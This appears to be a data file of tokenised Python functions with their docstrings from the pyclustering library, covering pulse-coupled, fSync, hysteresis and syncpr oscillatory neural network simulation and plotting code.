{"signature": "def __del__(self):", "body": "if self.__ccore_pcnn_pointer is not None:<EOL><INDENT>wrapper.pcnn_destroy(self.__ccore_pcnn_pointer)<EOL>self.__ccore_pcnn_pointer = None<EOL><DEDENT>", "docstring": "!\n        @brief Default destructor of PCNN.", "id": "f15661:c3:m1"}
{"signature": "def __len__(self):", "body": "if self.__ccore_pcnn_pointer is not None:<EOL><INDENT>return wrapper.pcnn_get_size(self.__ccore_pcnn_pointer)<EOL><DEDENT>return self._num_osc<EOL>", "docstring": "!\n        @brief (uint) Returns size of oscillatory network.", "id": "f15661:c3:m2"}
{"signature": "def simulate(self, steps, stimulus):", "body": "if len(stimulus) != len(self):<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>if self.__ccore_pcnn_pointer is not None:<EOL><INDENT>ccore_instance_dynamic = wrapper.pcnn_simulate(self.__ccore_pcnn_pointer, steps, stimulus)<EOL>return pcnn_dynamic(None, ccore_instance_dynamic)<EOL><DEDENT>dynamic = []<EOL>dynamic.append(self._outputs)<EOL>for step in range(<NUM_LIT:1>, steps, <NUM_LIT:1>):<EOL><INDENT>self._outputs = self._calculate_states(stimulus)<EOL>dynamic.append(self._outputs)<EOL><DEDENT>return pcnn_dynamic(dynamic)<EOL>", "docstring": "!\n        @brief Performs static simulation of pulse coupled neural network using.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] stimulus (list): Stimulus for oscillators, number of stimulus should be equal to number of oscillators.\n\n        @return (pcnn_dynamic) Dynamic of oscillatory network - output of each oscillator on each step of simulation.", "id": "f15661:c3:m3"}
{"signature": "def _calculate_states(self, stimulus):", "body": "feeding = [<NUM_LIT:0.0>] * self._num_osc<EOL>linking = [<NUM_LIT:0.0>] * self._num_osc<EOL>outputs = [<NUM_LIT:0.0>] * self._num_osc<EOL>threshold = [<NUM_LIT:0.0>] * self._num_osc<EOL>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>neighbors = self.get_neighbors(index)<EOL>feeding_influence = <NUM_LIT:0.0><EOL>linking_influence = <NUM_LIT:0.0><EOL>for index_neighbour in neighbors:<EOL><INDENT>feeding_influence += self._outputs[index_neighbour] * self._params.M<EOL>linking_influence += self._outputs[index_neighbour] * self._params.W<EOL><DEDENT>feeding_influence *= self._params.VF<EOL>linking_influence *= self._params.VL<EOL>feeding[index] = self._params.AF * self._feeding[index] + stimulus[index] + feeding_influence<EOL>linking[index] = self._params.AL * self._linking[index] + linking_influence<EOL>internal_activity = feeding[index] * (<NUM_LIT:1.0> + self._params.B * linking[index])<EOL>if internal_activity > self._threshold[index]:<EOL><INDENT>outputs[index] = self.__OUTPUT_TRUE<EOL><DEDENT>else:<EOL><INDENT>outputs[index] = self.__OUTPUT_FALSE<EOL><DEDENT>if self._params.FAST_LINKING is not True:<EOL><INDENT>threshold[index] = self._params.AT * self._threshold[index] + self._params.VT * outputs[index]<EOL><DEDENT><DEDENT>if self._params.FAST_LINKING is True:<EOL><INDENT>output_change = True    <EOL>previous_outputs = outputs[:]<EOL>while output_change is True:<EOL><INDENT>current_output_change = False<EOL>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>linking_influence = <NUM_LIT:0.0><EOL>neighbors = self.get_neighbors(index)<EOL>for index_neighbour in neighbors:<EOL><INDENT>linking_influence += previous_outputs[index_neighbour] * self._params.W<EOL><DEDENT>linking_influence *= self._params.VL<EOL>linking[index] = linking_influence<EOL>internal_activity = feeding[index] * (<NUM_LIT:1.0> + self._params.B * linking[index])<EOL>if internal_activity > self._threshold[index]:<EOL><INDENT>outputs[index] = self.__OUTPUT_TRUE<EOL><DEDENT>else:<EOL><INDENT>outputs[index] = self.__OUTPUT_FALSE<EOL><DEDENT>current_output_change |= (outputs[index] != previous_outputs[index])<EOL><DEDENT>output_change = current_output_change<EOL>if output_change is True:<EOL><INDENT>previous_outputs = outputs[:]<EOL><DEDENT><DEDENT><DEDENT>if self._params.FAST_LINKING is True:<EOL><INDENT>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>threshold[index] = self._params.AT * self._threshold[index] + self._params.VT * outputs[index]<EOL><DEDENT><DEDENT>self._feeding = feeding[:]<EOL>self._linking = linking[:]<EOL>self._threshold = threshold[:]<EOL>return outputs<EOL>", "docstring": "!\n        @brief Calculates states of oscillators in the network for current step and stored them except outputs of oscillators.\n\n        @param[in] stimulus (list): Stimulus for oscillators, number of stimulus should be equal to number of oscillators.\n\n        @return (list) New outputs for oscillators (do not stored it).", "id": "f15661:c3:m4"}
{"signature": "def __init__(self, amplitude, time):", "body": "self.__amplitude = amplitude;<EOL>self.__time = time<EOL>", "docstring": "!\n        @brief Constructor of Sync dynamic in frequency domain.\n\n        @param[in] amplitude (list): Dynamic of oscillators on each step of simulation.\n        @param[in] time (list): Simulation time where each time-point corresponds to amplitude-point.", "id": "f15662:c0:m0"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "return self.__amplitude<EOL>", "docstring": "!\n        @brief (list) Returns output dynamic of the Sync network (amplitudes of each oscillator in the network) during simulation.", "id": "f15662:c0:m1"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "return self.__time<EOL>", "docstring": "!\n        @brief (list) Returns time-points corresponds to dynamic-points points.", "id": "f15662:c0:m2"}
{"signature": "def __len__(self):", "body": "return len(self.__amplitude)<EOL>", "docstring": "!\n        @brief (uint) Returns number of simulation steps that are stored in dynamic.", "id": "f15662:c0:m3"}
{"signature": "def __getitem__(self, index):", "body": "if (index is <NUM_LIT:0>):<EOL><INDENT>return self.__time;<EOL><DEDENT>elif (index is <NUM_LIT:1>):<EOL><INDENT>return self.__amplitude;<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>' + index + '<STR_LIT>');<EOL><DEDENT>", "docstring": "!\n        @brief Indexing of the dynamic.", "id": "f15662:c0:m4"}
{"signature": "def allocate_sync_ensembles(self, tolerance = <NUM_LIT:0.1>):", "body": "return pyclustering.utils.allocate_sync_ensembles(self.__amplitude, tolerance, <NUM_LIT:0.0>)<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous oscillators where each synchronous ensemble corresponds to only one cluster.\n\n        @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n\n        @return (list) Grours of indexes of synchronous oscillators, for example, [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15662:c0:m5"}
{"signature": "def extract_number_oscillations(self, index, amplitude_threshold):", "body": "return pyclustering.utils.extract_number_oscillations(self.__amplitude, index, amplitude_threshold)<EOL>", "docstring": "!\n        @brief Extracts number of oscillations of specified oscillator.\n\n        @param[in] index (uint): Index of oscillator whose dynamic is considered.\n        @param[in] amplitude_threshold (double): Amplitude threshold when oscillation is taken into account, for example,\n                    when oscillator amplitude is greater than threshold then oscillation is incremented.\n\n        @return (uint) Number of oscillations of specified oscillator.", "id": "f15662:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamic(fsync_output_dynamic):<DEDENT>", "body": "pyclustering.utils.draw_dynamics(fsync_output_dynamic.time, fsync_output_dynamic.output, x_title = \"<STR_LIT:t>\", y_title = \"<STR_LIT>\")<EOL>", "docstring": "!\n        @brief Shows output dynamic (output of each oscillator) during simulation.\n\n        @param[in] fsync_output_dynamic (fsync_dynamic): Output dynamic of the fSync network.\n\n        @see show_output_dynamics", "id": "f15662:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamics(fsync_output_dynamics):<DEDENT>", "body": "pyclustering.utils.draw_dynamics_set(fsync_output_dynamics, \"<STR_LIT:t>\", \"<STR_LIT>\", None, None, False, False)<EOL>", "docstring": "!\n        @brief Shows several output dynamics (output of each oscillator) during simulation.\n        @details Each dynamic is presented on separate plot.\n\n        @param[in] fsync_output_dynamics (list): list of output dynamics 'fsync_dynamic' of the fSync network.\n\n        @see show_output_dynamic", "id": "f15662:c1:m1"}
{"signature": "def __init__(self, num_osc, factor_frequency = <NUM_LIT:1.0>, factor_radius = <NUM_LIT:1.0>, factor_coupling = <NUM_LIT:1.0>, type_conn = conn_type.ALL_TO_ALL, representation = conn_represent.MATRIX):", "body": "super().__init__(num_osc, type_conn, representation);<EOL>self.__frequency = factor_frequency if isinstance(factor_frequency, list) else [ fsync_network.__DEFAULT_FREQUENCY_VALUE * factor_frequency for _ in range(num_osc) ];<EOL>self.__radius = factor_radius if isinstance(factor_radius, list) else [ fsync_network.__DEFAULT_RADIUS_VALUE * factor_radius for _ in range(num_osc) ];<EOL>self.__coupling_strength = fsync_network.__DEFAULT_COUPLING_STRENGTH * factor_coupling;<EOL>self.__properties = [ self.__oscillator_property(index) for index in range(self._num_osc) ];<EOL>random.seed();<EOL>self.__amplitude = [ random.random() for _ in range(num_osc) ]<EOL>", "docstring": "!\n        @brief Constructor of oscillatory network based on synchronization Kuramoto model and Landau-Stuart oscillator.\n\n        @param[in] num_osc (uint): Amount oscillators in the network.\n        @param[in] factor_frequency (double|list): Frequency of oscillators, it can be specified as common value for all oscillators by\n                    single double value and for each separately by list.\n        @param[in] factor_radius (double|list): Radius of oscillators that affects amplitude, it can be specified as common value for all oscillators by\n                    single double value and for each separately by list.\n        @param[in] factor_coupling (double): Coupling strength between oscillators.\n        @param[in] type_conn (conn_type): Type of connection between oscillators in the network (all-to-all, grid, bidirectional list, etc.).\n        @param[in] representation (conn_represent): Internal representation of connection in the network: matrix or list.", "id": "f15662:c2:m0"}
{"signature": "def simulate(self, steps, time, collect_dynamic = False):", "body": "dynamic_amplitude, dynamic_time = ([], []) if collect_dynamic is False else ([self.__amplitude], [<NUM_LIT:0>]);<EOL>step = time / steps;<EOL>int_step = step / <NUM_LIT>;<EOL>for t in numpy.arange(step, time + step, step):<EOL><INDENT>self.__amplitude = self.__calculate(t, step, int_step);<EOL>if collect_dynamic is True:<EOL><INDENT>dynamic_amplitude.append([ numpy.real(amplitude)[<NUM_LIT:0>] for amplitude in self.__amplitude ]);<EOL>dynamic_time.append(t);<EOL><DEDENT><DEDENT>if collect_dynamic is False:<EOL><INDENT>dynamic_amplitude.append([ numpy.real(amplitude)[<NUM_LIT:0>] for amplitude in self.__amplitude ]);<EOL>dynamic_time.append(time);<EOL><DEDENT>output_sync_dynamic = fsync_dynamic(dynamic_amplitude, dynamic_time);<EOL>return output_sync_dynamic<EOL>", "docstring": "!\n        @brief Performs static simulation of oscillatory network.\n\n        @param[in] steps (uint): Number simulation steps.\n        @param[in] time (double): Time of simulation.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' is True, than return dynamic for the whole simulation time,\n                 otherwise returns only last values (last step of simulation) of output dynamic.\n\n        @see simulate()\n        @see simulate_dynamic()", "id": "f15662:c2:m1"}
{"signature": "def __calculate(self, t, step, int_step):", "body": "next_amplitudes = [<NUM_LIT:0.0>] * self._num_osc;<EOL>for index in range (<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>z = numpy.array(self.__amplitude[index], dtype = numpy.complex128, ndmin = <NUM_LIT:1>);<EOL>result = odeint(self.__calculate_amplitude, z.view(numpy.float64), numpy.arange(t - step, t, int_step), (index , ));<EOL>next_amplitudes[index] = (result[len(result) - <NUM_LIT:1>]).view(numpy.complex128);<EOL><DEDENT>return next_amplitudes<EOL>", "docstring": "!\n        @brief Calculates new amplitudes for oscillators in the network in line with current step.\n\n        @param[in] t (double): Time of simulation.\n        @param[in] step (double): Step of solution at the end of which states of oscillators should be calculated.\n        @param[in] int_step (double): Step differentiation that is used for solving differential equation.\n\n        @return (list) New states (phases) for oscillators.", "id": "f15662:c2:m2"}
{"signature": "def __oscillator_property(self, index):", "body": "return numpy.array(<NUM_LIT> * self.__frequency[index] + self.__radius[index]**<NUM_LIT:2>, dtype = numpy.complex128, ndmin = <NUM_LIT:1>)<EOL>", "docstring": "!\n        @brief Calculate Landau-Stuart oscillator constant property that is based on frequency and radius.\n\n        @param[in] index (uint): Oscillator index whose property is calculated.\n\n        @return (double) Oscillator property.", "id": "f15662:c2:m3"}
{"signature": "def __landau_stuart(self, amplitude, index):", "body": "return (self.__properties[index] - numpy.absolute(amplitude) ** <NUM_LIT:2>) * amplitude<EOL>", "docstring": "!\n        @brief Calculate Landau-Stuart state.\n\n        @param[in] amplitude (double): Current amplitude of oscillator.\n        @param[in] index (uint): Oscillator index whose state is calculated. \n\n        @return (double) Landau-Stuart state.", "id": "f15662:c2:m4"}
{"signature": "def __synchronization_mechanism(self, amplitude, index):", "body": "sync_influence = <NUM_LIT:0.0>;<EOL>for k in range(self._num_osc):<EOL><INDENT>if self.has_connection(index, k) is True:<EOL><INDENT>amplitude_neighbor = numpy.array(self.__amplitude[k], dtype = numpy.complex128, ndmin = <NUM_LIT:1>);<EOL>sync_influence += amplitude_neighbor - amplitude;<EOL><DEDENT><DEDENT>return sync_influence * self.__coupling_strength / self._num_osc<EOL>", "docstring": "!\n        @brief Calculate synchronization part using Kuramoto synchronization mechanism.\n\n        @param[in] amplitude (double): Current amplitude of oscillator.\n        @param[in] index (uint): Oscillator index whose synchronization influence is calculated.\n\n        @return (double) Synchronization influence for the specified oscillator.", "id": "f15662:c2:m5"}
{"signature": "def __calculate_amplitude(self, amplitude, t, argv):", "body": "z = amplitude.view(numpy.complex);<EOL>dzdt = self.__landau_stuart(z, argv) + self.__synchronization_mechanism(z, argv);<EOL>return dzdt.view(numpy.float64)<EOL>", "docstring": "!\n        @brief Returns new amplitude value for particular oscillator that is defined by index that is in 'argv' argument.\n        @details The method is used for differential calculation.\n\n        @param[in] amplitude (double): Current amplitude of oscillator.\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (uint): Index of the current oscillator.\n\n        @return (double) New amplitude of the oscillator.", "id": "f15662:c2:m6"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "return self._dynamic<EOL>", "docstring": "!\n        @brief (list) Returns outputs of oscillator during simulation.", "id": "f15663:c0:m0"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "return self._time<EOL>", "docstring": "!\n        @brief (list) Returns sampling times when dynamic is measured during simulation.", "id": "f15663:c0:m1"}
{"signature": "def __init__(self, amplitudes, time):", "body": "if (len(amplitudes) != len(time)):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>self._dynamic = amplitudes;<EOL>self._time = time<EOL>", "docstring": "!\n        @brief Constructor of hysteresis neural network dynamic.\n\n        @param[in] amplitudes (list): Dynamic (amplitudes) of oscillators on each step of simulation.\n        @param[in] time (list): Simulation time (timestamps of simulation steps) when amplitudes are stored.", "id": "f15663:c0:m2"}
{"signature": "def __len__(self):", "body": "return len(self._dynamic)<EOL>", "docstring": "!\n        @brief (uint) Returns number of simulation steps that are stored in dynamic.", "id": "f15663:c0:m3"}
{"signature": "def allocate_sync_ensembles(self, tolerance = <NUM_LIT:0.1>, threshold_steps = <NUM_LIT:1>):", "body": "clusters = [ [<NUM_LIT:0>] ];<EOL>number_oscillators = len(self._dynamic[<NUM_LIT:0>]);<EOL>for i in range(<NUM_LIT:1>, number_oscillators, <NUM_LIT:1>):<EOL><INDENT>captured_neuron = True;<EOL>for cluster in clusters:<EOL><INDENT>neuron_index = cluster[<NUM_LIT:0>];<EOL>analysis_steps = threshold_steps;<EOL>if (len(self._dynamic) < analysis_steps):<EOL><INDENT>analysis_steps = len(self._dynamic);<EOL><DEDENT>analysis_start_step_index = len(self._dynamic) - <NUM_LIT:1>;<EOL>for step in range(analysis_start_step_index, analysis_start_step_index - analysis_steps, -<NUM_LIT:1>):<EOL><INDENT>neuron_amplitude = self._dynamic[step][neuron_index];<EOL>candidate_amplitude = self._dynamic[step][i];<EOL>if ( not (candidate_amplitude < (neuron_amplitude + tolerance)) or not (candidate_amplitude > (neuron_amplitude - tolerance)) ):<EOL><INDENT>captured_neuron = False;<EOL>break;<EOL><DEDENT><DEDENT>if ( captured_neuron is True ):<EOL><INDENT>cluster.append(i);<EOL>break;<EOL><DEDENT><DEDENT>if (captured_neuron is False):<EOL><INDENT>clusters.append([i]);<EOL><DEDENT><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous oscillators where each\n               synchronous ensemble corresponds to only one cluster.\n\n        @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n        @param[in] threshold_steps (uint): Number of steps from the end of simulation that should be analysed for ensemble allocation.\n                    If amout of simulation steps has been less than threshold steps than amount of steps will be reduced to amout\n                    of simulation steps.\n\n        @return (list) Grours of indexes of synchronous oscillators, for example, [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].\"", "id": "f15663:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamic(hysteresis_output_dynamic):<DEDENT>", "body": "draw_dynamics(hysteresis_output_dynamic.time, hysteresis_output_dynamic.output, x_title = \"<STR_LIT>\", y_title = \"<STR_LIT>\")<EOL>", "docstring": "!\n        @brief Shows output dynamic (output of each oscillator) during simulation.\n\n        @param[in] hysteresis_output_dynamic (hysteresis_dynamic): Output dynamic of the hysteresis oscillatory network.", "id": "f15663:c1:m0"}
{"signature": "@property<EOL><INDENT>def outputs(self):<DEDENT>", "body": "return self._outputs<EOL>", "docstring": "!\n        @brief Returns current outputs of neurons.\n\n        @return (list) Current outputs of neurons.", "id": "f15663:c2:m0"}
{"signature": "@outputs.setter<EOL><INDENT>def outputs(self, values):<DEDENT>", "body": "self._outputs = [val for val in values];<EOL>self._outputs_buffer = [val for val in values]<EOL>", "docstring": "!\n        @brief Sets outputs of neurons.", "id": "f15663:c2:m1"}
{"signature": "@property<EOL><INDENT>def states(self):<DEDENT>", "body": "return self._states<EOL>", "docstring": "!\n        @brief Return current states of neurons.\n\n        @return (list) States of neurons.", "id": "f15663:c2:m2"}
{"signature": "@states.setter<EOL><INDENT>def states(self, values):<DEDENT>", "body": "self._states = [val for val in values]<EOL>", "docstring": "!\n        @brief Set current states of neurons.", "id": "f15663:c2:m3"}
{"signature": "def __init__(self, num_osc, own_weight = -<NUM_LIT:4>, neigh_weight = -<NUM_LIT:1>, type_conn = conn_type.ALL_TO_ALL, type_conn_represent = conn_represent.MATRIX):", "body": "super().__init__(num_osc, type_conn, type_conn_represent);<EOL>self._states = [<NUM_LIT:0>] * self._num_osc;<EOL>self._outputs = [-<NUM_LIT:1>] * self._num_osc;<EOL>self._outputs_buffer = [-<NUM_LIT:1>] * self._num_osc;<EOL>self._weight = list();<EOL>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._weight.append( [neigh_weight] * self._num_osc);<EOL>self._weight[index][index] = own_weight;<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of hysteresis oscillatory network.\n\n        @param[in] num_osc (uint): Number of oscillators in the network.\n        @param[in] own_weight (double): Weight of connection from oscillator to itself - own weight.\n        @param[in] neigh_weight (double): Weight of connection between oscillators.\n        @param[in] type_conn (conn_type): Type of connection between oscillators in the network.\n        @param[in] type_conn_represent (conn_represent): Internal representation of connection in the network: matrix or list.", "id": "f15663:c2:m4"}
{"signature": "def _neuron_states(self, inputs, t, argv):", "body": "xi = inputs[<NUM_LIT:0>];<EOL>index = argv;<EOL>impact = self._weight[index][index] * self._outputs[index];<EOL>for i in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>if (self.has_connection(i, index)):<EOL><INDENT>impact += self._weight[index][i] * self._outputs[i];<EOL><DEDENT><DEDENT>x = -xi + impact;<EOL>if (xi > <NUM_LIT:1>): self._outputs_buffer[index] = <NUM_LIT:1>; <EOL>if (xi < -<NUM_LIT:1>): self._outputs_buffer[index] = -<NUM_LIT:1>;<EOL>return x<EOL>", "docstring": "!\n        @brief Returns new value of the neuron (oscillator).\n\n        @param[in] inputs (list): Initial values (current) of the neuron - excitatory.\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (tuple): Extra arguments that are not used for integration - index of the neuron.\n\n        @return (double) New value of the neuron.", "id": "f15663:c2:m5"}
{"signature": "def simulate(self, steps, time, solution = solve_type.RK4, collect_dynamic = True):", "body": "return self.simulate_static(steps, time, solution, collect_dynamic)<EOL>", "docstring": "!\n        @brief Performs static simulation of hysteresis oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solution (solving).\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (hysteresis_dynamic) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.", "id": "f15663:c2:m6"}
{"signature": "def simulate_static(self, steps, time, solution = solve_type.RK4, collect_dynamic = False):", "body": "<EOL>if (solution == solve_type.FAST):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>elif (solution == solve_type.RKF45):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>dyn_state = None;<EOL>dyn_time = None;<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_state = [];<EOL>dyn_time = [];<EOL>dyn_state.append(self._states);<EOL>dyn_time.append(<NUM_LIT:0>);<EOL><DEDENT>step = time / steps;<EOL>int_step = step / <NUM_LIT>;<EOL>for t in numpy.arange(step, time + step, step):<EOL><INDENT>self._states = self._calculate_states(solution, t, step, int_step);<EOL>if (collect_dynamic is True):<EOL><INDENT>dyn_state.append(self._states);<EOL>dyn_time.append(t);<EOL><DEDENT><DEDENT>if (collect_dynamic is False):<EOL><INDENT>dyn_state.append(self._states);<EOL>dyn_time.append(time);<EOL><DEDENT>return hysteresis_dynamic(dyn_state, dyn_time)<EOL>", "docstring": "!\n        @brief Performs static simulation of hysteresis oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solution (solving).\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (hysteresis_dynamic) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.", "id": "f15663:c2:m7"}
{"signature": "def _calculate_states(self, solution, t, step, int_step):", "body": "next_states = [<NUM_LIT:0>] * self._num_osc;<EOL>for index in range (<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):            <EOL><INDENT>result = odeint(self._neuron_states, self._states[index], numpy.arange(t - step, t, int_step), (index , ));<EOL>next_states[index] = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>];<EOL><DEDENT>self._outputs = [val for val in self._outputs_buffer];<EOL>return next_states<EOL>", "docstring": "!\n        @brief Calculates new states for neurons using differential calculus. Returns new states for neurons.\n\n        @param[in] solution (solve_type): Type solver of the differential equation.\n        @param[in] t (double): Current time of simulation.\n        @param[in] step (double): Step of solution at the end of which states of oscillators should be calculated.\n        @param[in] int_step (double): Step differentiation that is used for solving differential equation.\n\n        @return (list) New states for neurons.", "id": "f15663:c2:m8"}
{"signature": "def __init__(self, phase, time, ccore):", "body": "super().__init__(phase, time, ccore)<EOL>", "docstring": "!\n        @brief Constructor of syncpr dynamic.\n\n        @param[in] phase (list): Dynamic of oscillators on each step of simulation. If ccore pointer is specified than it can be ignored.\n        @param[in] time (list): Simulation time.\n        @param[in] ccore (ctypes.pointer): Pointer to CCORE sync_dynamic instance in memory.", "id": "f15664:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_pattern(syncpr_output_dynamic, image_height, image_width):<DEDENT>", "body": "number_pictures = len(syncpr_output_dynamic);<EOL>iteration_math_step = <NUM_LIT:1.0>;<EOL>if (number_pictures > <NUM_LIT:50>):<EOL><INDENT>iteration_math_step = number_pictures / <NUM_LIT>;<EOL>number_pictures = <NUM_LIT:50>;<EOL><DEDENT>number_cols = int(numpy.ceil(number_pictures ** <NUM_LIT:0.5>));<EOL>number_rows = int(numpy.ceil(number_pictures / number_cols));<EOL>real_index = <NUM_LIT:0>, <NUM_LIT:0>;<EOL>double_indexer = True;<EOL>if ( (number_cols == <NUM_LIT:1>) or (number_rows == <NUM_LIT:1>) ):<EOL><INDENT>real_index = <NUM_LIT:0>;<EOL>double_indexer = False;<EOL><DEDENT>(_, axarr) = plt.subplots(number_rows, number_cols);<EOL>if (number_pictures > <NUM_LIT:1>):<EOL><INDENT>plt.setp([ax for ax in axarr], visible = False);<EOL><DEDENT>iteration_display = <NUM_LIT:0.0>;<EOL>for iteration in range(len(syncpr_output_dynamic)):<EOL><INDENT>if (iteration >= iteration_display):<EOL><INDENT>iteration_display += iteration_math_step;<EOL>ax_handle = axarr;<EOL>if (number_pictures > <NUM_LIT:1>):<EOL><INDENT>ax_handle = axarr[real_index];<EOL><DEDENT>syncpr_visualizer.__show_pattern(ax_handle, syncpr_output_dynamic, image_height, image_width, iteration);<EOL>if (double_indexer is True):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>], real_index[<NUM_LIT:1>] + <NUM_LIT:1>;<EOL>if (real_index[<NUM_LIT:1>] >= number_cols):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>] + <NUM_LIT:1>, <NUM_LIT:0>; <EOL><DEDENT><DEDENT>else:<EOL><INDENT>real_index += <NUM_LIT:1>;<EOL><DEDENT><DEDENT><DEDENT>plt.show()<EOL>", "docstring": "!\n        @brief Displays evolution of phase oscillators as set of patterns where the last one means final result of recognition.\n\n        @param[in] syncpr_output_dynamic (syncpr_dynamic): Output dynamic of a syncpr network.\n        @param[in] image_height (uint): Height of the pattern (image_height * image_width should be equal to number of oscillators).\n        @param[in] image_width (uint): Width of the pattern.", "id": "f15664:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def animate_pattern_recognition(syncpr_output_dynamic, image_height, image_width, animation_velocity = <NUM_LIT>, title = None, save_movie = None):<DEDENT>", "body": "figure = plt.figure();<EOL>def init_frame():<EOL><INDENT>return frame_generation(<NUM_LIT:0>);<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>figure.clf();<EOL>if (title is not None):<EOL><INDENT>figure.suptitle(title, fontsize = <NUM_LIT>, fontweight = '<STR_LIT>')<EOL><DEDENT>ax1 = figure.add_subplot(<NUM_LIT>, projection='<STR_LIT>');<EOL>ax2 = figure.add_subplot(<NUM_LIT>);<EOL>dynamic = syncpr_output_dynamic.output[index_dynamic];<EOL>artist1, = ax1.plot(dynamic, [<NUM_LIT:1.0>] * len(dynamic), marker = '<STR_LIT:o>', color = '<STR_LIT>', ls = '<STR_LIT>');<EOL>artist2 = syncpr_visualizer.__show_pattern(ax2, syncpr_output_dynamic, image_height, image_width, index_dynamic);<EOL>return [ artist1, artist2 ];<EOL><DEDENT>cluster_animation = animation.FuncAnimation(figure, frame_generation, len(syncpr_output_dynamic), interval = animation_velocity, init_func = init_frame, repeat_delay = <NUM_LIT>);<EOL>if (save_movie is not None):<EOL><INDENT>plt.rcParams['<STR_LIT>'] = '<STR_LIT>';<EOL>ffmpeg_writer = animation.FFMpegWriter();<EOL>cluster_animation.save(save_movie, writer = ffmpeg_writer, fps = <NUM_LIT:15>);<EOL>", "docstring": "!\n        @brief Shows animation of pattern recognition process that has been preformed by the oscillatory network.\n\n        @param[in] syncpr_output_dynamic (syncpr_dynamic): Output dynamic of a syncpr network.\n        @param[in] image_height (uint): Height of the pattern (image_height * image_width should be equal to number of oscillators).\n        @param[in] image_width (uint): Width of the pattern.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds.\n        @param[in] title (string): Title of the animation that is displayed on a figure if it is specified.\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15664:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def __show_pattern(ax_handle, syncpr_output_dynamic, image_height, image_width, iteration):<DEDENT>", "body": "current_dynamic = syncpr_output_dynamic.output[iteration];<EOL>stage_picture = [(<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>)] * (image_height * image_width);<EOL>for index_phase in range(len(current_dynamic)):<EOL><INDENT>phase = current_dynamic[index_phase];<EOL>pixel_color = math.floor( phase * (<NUM_LIT:255> / (<NUM_LIT:2> * math.pi)) );<EOL>stage_picture[index_phase] = (pixel_color, pixel_color, pixel_color);<EOL><DEDENT>stage = numpy.array(stage_picture, numpy.uint8);<EOL>stage = numpy.reshape(stage, (image_height, image_width) + ((<NUM_LIT:3>),)); <EOL>image_cluster = Image.fromarray(stage);<EOL>artist = ax_handle.imshow(image_cluster, interpolation = '<STR_LIT:none>');<EOL>plt.setp(ax_handle, visible = True);<EOL>ax_handle.xaxis.set_ticklabels([]);<EOL>ax_handle.yaxis.set_ticklabels([]);<EOL>ax_handle.xaxis.set_ticks_position('<STR_LIT:none>');<EOL>ax_handle.yaxis.set_ticks_position('<STR_LIT:none>');<EOL>return artist<EOL>", "docstring": "!\n        @brief Draws pattern on specified ax.\n\n        @param[in] ax_handle (Axis): Axis where pattern should be drawn.\n        @param[in] syncpr_output_dynamic (syncpr_dynamic): Output dynamic of a syncpr network.\n        @param[in] image_height (uint): Height of the pattern (image_height * image_width should be equal to number of oscillators).\n        @param[in] image_width (uint): Width of the pattern.\n        @param[in] iteration (uint): Simulation iteration that should be used for extracting pattern.\n\n        @return (matplotlib.artist) Artist (pattern) that is rendered in the canvas.", "id": "f15664:c1:m2"}
